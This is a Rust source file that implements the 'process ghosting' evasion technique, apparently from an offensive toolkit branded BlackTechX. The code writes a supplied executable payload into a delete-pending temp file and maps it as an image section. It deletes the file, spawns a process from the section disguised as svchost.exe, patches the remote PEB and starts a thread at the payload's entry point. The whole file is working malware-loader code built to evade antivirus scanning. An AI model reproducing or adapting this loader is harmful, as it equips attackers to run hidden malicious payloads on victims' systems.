process_ghosting/
ghosting.rs

1//! Core Process Ghosting Implementation
2//! Author: BlackTechX
3
4#![allow(non_snake_case)]
5
6use crate::ntapi::*;
7use std::ptr;
8use std::ffi::c_void;
9use winapi::um::fileapi::{WriteFile, GetTempPathW, GetTempFileNameW};
10use winapi::um::handleapi::{CloseHandle, INVALID_HANDLE_VALUE};
11use winapi::um::memoryapi::WriteProcessMemory;
12use winapi::um::processthreadsapi::GetCurrentProcess;
13use winapi::um::winnt::{
14    GENERIC_READ, GENERIC_WRITE, DELETE, SYNCHRONIZE,
15    SECTION_ALL_ACCESS, PAGE_READONLY, SEC_IMAGE,
16    PROCESS_ALL_ACCESS, MEM_COMMIT, MEM_RESERVE, PAGE_READWRITE,
17    THREAD_ALL_ACCESS, FILE_SHARE_READ, FILE_SHARE_WRITE,
18};
19use winapi::shared::minwindef::{DWORD, MAX_PATH, LPVOID};
20use winapi::shared::ntdef::{HANDLE, PVOID, ULONG};
21use winapi::shared::basetsd::SIZE_T;
22
23/// Target architecture for the payload
24#[derive(Clone, Copy, Debug, PartialEq)]
25pub enum Architecture {
26    X86,
27    X64,
28}
29
30impl std::fmt::Display for Architecture {
31    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
32        match self {
33            Architecture::X86 => write!(f, "x86"),
34            Architecture::X64 => write!(f, "x64"),
35        }
36    }
37}
38
39/// Configuration for the ghosting operation
40#[derive(Clone)]
41pub struct GhostingConfig {
42    pub payload: Vec<u8>,
43    pub architecture: Architecture,
44    pub verbose: bool,
45}
46
47impl GhostingConfig {
48    /// Create a new configuration
49    pub fn new(payload: Vec<u8>, architecture: Architecture) -> Self {
50        Self {
51            payload,
52            architecture,
53            verbose: true,
54        }
55    }
56
57    /// Create configuration for x64 payload
58    pub fn x64(payload: Vec<u8>) -> Self {
59        Self::new(payload, Architecture::X64)
60    }
61
62    /// Create configuration for x86 payload
63    pub fn x86(payload: Vec<u8>) -> Self {
64        Self::new(payload, Architecture::X86)
65    }
66}
67
68/// Helper macro for verbose printing
69macro_rules! btx_print {
70    ($verbose:expr, $($arg:tt)*) => {
71        if $verbose {
72            println!($($arg)*);
73        }
74    };
75}
76
77/// Create a wide string from a Rust string
78fn to_wide_string(s: &str) -> Vec<u16> {
79    use std::os::windows::ffi::OsStrExt;
80    std::ffi::OsStr::new(s)
81        .encode_wide()
82        .chain(std::iter::once(0))
83        .collect()
84}
85
86/// Create a section from a file in delete-pending state
87unsafe fn create_section_from_pending_deletion(
88    file_path: &[u16],
89    data_buffer: &[u8],
90    verbose: bool,
91) -> Result<HANDLE, String> {
92    // Get NT functions
93    let fn_nt_open_file: FnNtOpenFile = get_ntdll_function("NtOpenFile")?;
94    let fn_rtl_init_unicode_string: FnRtlInitUnicodeString = get_ntdll_function("RtlInitUnicodeString")?;
95    let fn_nt_set_information_file: FnNtSetInformationFile = get_ntdll_function("NtSetInformationFile")?;
96    let fn_nt_create_section: FnNtCreateSection = get_ntdll_function("NtCreateSection")?;
97
98    let mut file_handle: HANDLE = ptr::null_mut();
99    let mut section_handle: HANDLE = ptr::null_mut();
100    let mut unicode_file_path = UNICODE_STRING::default();
101    let mut io_status_block = IO_STATUS_BLOCK::default();
102
103    // Initialize unicode string
104    fn_rtl_init_unicode_string(&mut unicode_file_path, file_path.as_ptr());
105
106    // Initialize object attributes
107    let mut object_attributes = OBJECT_ATTRIBUTES::new(&mut unicode_file_path, OBJ_CASE_INSENSITIVE);
108
109    btx_print!(verbose, "[+] Attempting to open the file...");
110
111    // Open file
112    let status = fn_nt_open_file(
113        &mut file_handle,
114        GENERIC_READ | GENERIC_WRITE | DELETE | SYNCHRONIZE,
115        &mut object_attributes,
116        &mut io_status_block,
117        FILE_SHARE_READ | FILE_SHARE_WRITE,
118        FILE_SUPERSEDED | FILE_SYNCHRONOUS_IO_NONALERT,
119    );
120
121    if !nt_success(status) {
122        return Err(format!("[-] Failed to open the file. NTSTATUS: 0x{:08X}", status));
123    }
124
125    btx_print!(verbose, "[+] Setting file to delete-pending state...");
126
127    // Set disposition flag
128    let mut file_disposition = FILE_DISPOSITION_INFORMATION { DeleteFile: 1 };
129
130    let status = fn_nt_set_information_file(
131        file_handle,
132        &mut io_status_block,
133        &mut file_disposition as *mut _ as PVOID,
134        std::mem::size_of::<FILE_DISPOSITION_INFORMATION>() as ULONG,
135        FILE_INFORMATION_CLASS::FileDispositionInformation,
136    );
137
138    if !nt_success(status) {
139        CloseHandle(file_handle);
140        return Err(format!("[-] Failed to set file to delete-pending state. NTSTATUS: 0x{:08X}", status));
141    }
142
143    btx_print!(verbose, "[+] Writing data to delete-pending file...");
144
145    // Write payload to file
146    let mut bytes_written: DWORD = 0;
147    let write_result = WriteFile(
148        file_handle,
149        data_buffer.as_ptr() as *const c_void,
150        data_buffer.len() as DWORD,
151        &mut bytes_written,
152        ptr::null_mut(),
153    );
154
155    if write_result == 0 {
156        CloseHandle(file_handle);
157        return Err("[-] Failed to write data to the file".to_string());
158    }
159
160    btx_print!(verbose, "[+] Creating section from delete-pending file...");
161
162    // Create section
163    let status = fn_nt_create_section(
164        &mut section_handle,
165        SECTION_ALL_ACCESS,
166        ptr::null_mut(),
167        ptr::null_mut(),
168        PAGE_READONLY,
169        SEC_IMAGE,
170        file_handle,
171    );
172
173    if !nt_success(status) {
174        CloseHandle(file_handle);
175        return Err(format!("[-] Failed to create section from delete-pending file. NTSTATUS: 0x{:08X}", status));
176    }
177
178    btx_print!(verbose, "[+] Section successfully created from delete-pending file.");
179
180    // Close the delete-pending file handle (this triggers deletion)
181    CloseHandle(file_handle);
182    btx_print!(verbose, "[+] File successfully deleted from disk...");
183
184    Ok(section_handle)
185}
186
187/// Launch a process from a section
188unsafe fn launch_process_from_section(section_handle: HANDLE, verbose: bool) -> Result<HANDLE, String> {
189    let fn_nt_create_process_ex: FnNtCreateProcessEx = get_ntdll_function("NtCreateProcessEx")?;
190
191    let mut process_handle: HANDLE = INVALID_HANDLE_VALUE;
192
193    btx_print!(verbose, "[+] Creating process from section...");
194
195    // Create process with file-less section
196    let status = fn_nt_create_process_ex(
197        &mut process_handle,
198        PROCESS_ALL_ACCESS,
199        ptr::null_mut(),
200        GetCurrentProcess(),
201        PS_INHERIT_HANDLES,
202        section_handle,
203        ptr::null_mut(),
204        ptr::null_mut(),
205        0,
206    );
207
208    if !nt_success(status) {
209        return Err(format!("[-] Failed to create the process. NTSTATUS: 0x{:08X}", status));
210    }
211
212    Ok(process_handle)
213}
214
215/// Retrieve the entry point address
216unsafe fn retrieve_entry_point(
217    process_handle: HANDLE,
218    payload_buffer: &[u8],
219    process_info: &PROCESS_BASIC_INFORMATION,
220    verbose: bool,
221) -> Result<usize, String> {
222    let fn_rtl_image_nt_header: FnRtlImageNtHeader = get_ntdll_function("RtlImageNtHeader")?;
223    let fn_nt_read_virtual_memory: FnNtReadVirtualMemory = get_ntdll_function("NtReadVirtualMemory")?;
224
225    let mut image_buffer = [0u8; 0x1000];
226    let mut bytes_read: SIZE_T = 0;
227
228    let status = fn_nt_read_virtual_memory(
229        process_handle,
230        process_info.PebBaseAddress as PVOID,
231        image_buffer.as_mut_ptr() as PVOID,
232        image_buffer.len(),
233        &mut bytes_read,
234    );
235
236    if !nt_success(status) {
237        return Err(format!("[-] Failed to read remote process PEB base address. NTSTATUS: 0x{:08X}", status));
238    }
239
240    let peb = &*(image_buffer.as_ptr() as *const PEB);
241    let image_base = peb.ImageBaseAddress as usize;
242
243    btx_print!(verbose, "[+] PEB Base Address of the target process: 0x{:016X}", image_base);
244
245    // Get NT headers from payload
246    let nt_headers = fn_rtl_image_nt_header(payload_buffer.as_ptr() as PVOID);
247    if nt_headers.is_null() {
248        return Err("[-] Failed to get NT headers from payload".to_string());
249    }
250
251    let entry_point_rva = (*nt_headers).OptionalHeader.AddressOfEntryPoint as usize;
252    let entry_point_address = entry_point_rva + image_base;
253
254    btx_print!(verbose, "[+] Calculated EntryPoint of the payload buffer: 0x{:016X}", entry_point_address);
255
256    Ok(entry_point_address)
257}
258
259/// Main function to execute the ghost process
260pub fn execute_ghost_process(config: GhostingConfig) -> Result<(), String> {
261    unsafe {
262        let verbose = config.verbose;
263
264        btx_print!(verbose, "[*] BlackTechX ProcessGhosting - Starting...");
265        btx_print!(verbose, "[*] Target Architecture: {}", config.architecture);
266        btx_print!(verbose, "[*] Payload Size: {} bytes", config.payload.len());
267
268        // Validate payload (check for MZ header)
269        if config.payload.len() < 2 || config.payload[0] != 0x4D || config.payload[1] != 0x5A {
270            return Err("[-] Invalid payload: Missing MZ header".to_string());
271        }
272
273        // Get required NT functions
274        let fn_query_process_info: FnNtQueryInformationProcess = 
275            get_ntdll_function("NtQueryInformationProcess")?;
276        let fn_init_unicode_str: FnRtlInitUnicodeString = 
277            get_ntdll_function("RtlInitUnicodeString")?;
278        let fn_create_remote_thread: FnNtCreateThreadEx = 
279            get_ntdll_function("NtCreateThreadEx")?;
280        let fn_write_memory: FnNtWriteVirtualMemory = 
281            get_ntdll_function("NtWriteVirtualMemory")?;
282        let fn_alloc_memory: FnNtAllocateVirtualMemory = 
283            get_ntdll_function("NtAllocateVirtualMemory")?;
284        let fn_create_proc_params: FnRtlCreateProcessParametersEx = 
285            get_ntdll_function("RtlCreateProcessParametersEx")?;
286
287        // Create temp file path with BlackTechX prefix
288        let mut temp_dir = [0u16; MAX_PATH];
289        let mut temp_file = [0u16; MAX_PATH];
290        
291        GetTempPathW(MAX_PATH as u32, temp_dir.as_mut_ptr());
292        
293        // Use "BTX" as prefix for temp files (BlackTechX)
294        let btx_prefix: [u16; 4] = ['B' as u16, 'T' as u16, 'X' as u16, 0];
295        GetTempFileNameW(
296            temp_dir.as_ptr(),
297            btx_prefix.as_ptr(),
298            0,
299            temp_file.as_mut_ptr(),
300        );
301
302        // Create NT path
303        let temp_file_str: String = String::from_utf16_lossy(
304            &temp_file[..temp_file.iter().position(|&c| c == 0).unwrap_or(temp_file.len())]
305        );
306        let full_path = format!("\\??\\{}", temp_file_str);
307        let nt_path_wide = to_wide_string(&full_path);
308
309        btx_print!(verbose, "[+] Temp file path: {}", temp_file_str);
310
311        // Create section from pending deletion
312        let section_handle = create_section_from_pending_deletion(
313            &nt_path_wide,
314            &config.payload,
315            verbose,
316        )?;
317
318        if section_handle == INVALID_HANDLE_VALUE || section_handle.is_null() {
319            return Err("[-] Failed to create memory section".to_string());
320        }
321
322        // Launch process from section
323        let target_process = launch_process_from_section(section_handle, verbose)?;
324
325        if target_process == INVALID_HANDLE_VALUE || target_process.is_null() {
326            return Err("[-] Failed to create ghosted process".to_string());
327        }
328
329        btx_print!(verbose, "[+] Ghosted process created successfully.");
330
331        // Retrieve process information
332        let mut proc_basic_info = PROCESS_BASIC_INFORMATION::default();
333        let mut proc_info_length: ULONG = 0;
334
335        let status = fn_query_process_info(
336            target_process,
337            PROCESSINFOCLASS::ProcessBasicInformation,
338            &mut proc_basic_info as *mut _ as PVOID,
339            std::mem::size_of::<PROCESS_BASIC_INFORMATION>() as ULONG,
340            &mut proc_info_length,
341        );
342
343        if !nt_success(status) {
344            return Err(format!("[-] Failed to retrieve process information. NTSTATUS: 0x{:08X}", status));
345        }
346
347        // Retrieve entry point
348        let ep_address = retrieve_entry_point(
349            target_process,
350            &config.payload,
351            &proc_basic_info,
352            verbose,
353        )?;
354
355        // Create process parameters - use svchost.exe as cover
356        let target_path = to_wide_string("C:\\Windows\\System32\\svchost.exe");
357        let mut unicode_target_file = UNICODE_STRING::default();
358        fn_init_unicode_str(&mut unicode_target_file, target_path.as_ptr());
359
360        let dll_dir = to_wide_string("C:\\Windows\\System32");
361        let mut unicode_dll_path = UNICODE_STRING::default();
362        fn_init_unicode_str(&mut unicode_dll_path, dll_dir.as_ptr());
363
364        let mut proc_params: *mut RTL_USER_PROCESS_PARAMETERS = ptr::null_mut();
365
366        let status = fn_create_proc_params(
367            &mut proc_params,
368            &mut unicode_target_file,
369            &mut unicode_dll_path,
370            ptr::null_mut(),
371            &mut unicode_target_file,
372            ptr::null_mut(),
373            ptr::null_mut(),
374            ptr::null_mut(),
375            ptr::null_mut(),
376            ptr::null_mut(),
377            RTL_USER_PROC_PARAMS_NORMALIZED,
378        );
379
380        if !nt_success(status) || proc_params.is_null() {
381            return Err(format!("[-] Failed to create process parameters. NTSTATUS: 0x{:08X}", status));
382        }
383
384        // Allocate memory for process parameters in target process
385        let mut param_buffer: PVOID = proc_params as PVOID;
386        let mut param_size: SIZE_T = ((*proc_params).EnvironmentSize + (*proc_params).MaximumLength as usize) as SIZE_T;
387
388        let status = fn_alloc_memory(
389            target_process,
390            &mut param_buffer,
391            0,
392            &mut param_size,
393            MEM_COMMIT | MEM_RESERVE,
394            PAGE_READWRITE,
395        );
396
397        if !nt_success(status) {
398            return Err(format!("[-] Failed to allocate memory for process parameters. NTSTATUS: 0x{:08X}", status));
399        }
400
401        btx_print!(verbose, "[+] Allocated memory for process parameters at {:p}.", param_buffer);
402
403        // Write process parameters into the target process
404        let write_size = (*proc_params).EnvironmentSize + (*proc_params).MaximumLength as usize;
405        let _status = fn_write_memory(
406            target_process,
407            proc_params as PVOID,
408            proc_params as PVOID,
409            write_size,
410            ptr::null_mut(),
411        );
412
413        // Get remote PEB
414        let remote_peb = proc_basic_info.PebBaseAddress;
415
416        // Update the address of the process parameters in the target process's PEB
417        let proc_params_ptr = proc_params as PVOID;
418        let peb_params_offset = &(*remote_peb).ProcessParameters as *const _ as *mut c_void;
419        
420        let write_result = WriteProcessMemory(
421            target_process,
422            peb_params_offset,
423            &proc_params_ptr as *const _ as *const c_void,
424            std::mem::size_of::<PVOID>(),
425            ptr::null_mut(),
426        );
427
428        if write_result == 0 {
429            return Err("[-] Failed to update process parameters in the target PEB".to_string());
430        }
431
432        btx_print!(verbose, "[+] Updated process parameters address in the remote PEB.");
433
434        // Create the thread to execute the ghosted process
435        let mut remote_thread: HANDLE = ptr::null_mut();
436
437        let status = fn_create_remote_thread(
438            &mut remote_thread,
439            THREAD_ALL_ACCESS,
440            ptr::null_mut(),
441            target_process,
442            ep_address as LPVOID,
443            ptr::null_mut(),
444            0,
445            0,
446            0,
447            0,
448            ptr::null_mut(),
449        );
450
451        if !nt_success(status) {
452            return Err(format!("[-] Failed to create remote thread. NTSTATUS: 0x{:08X}", status));
453        }
454
455        btx_print!(verbose, "[+] Remote thread created and executed.");
456        btx_print!(verbose, "[+] BlackTechX ProcessGhosting completed successfully!");
457
458        Ok(())
459    }
460}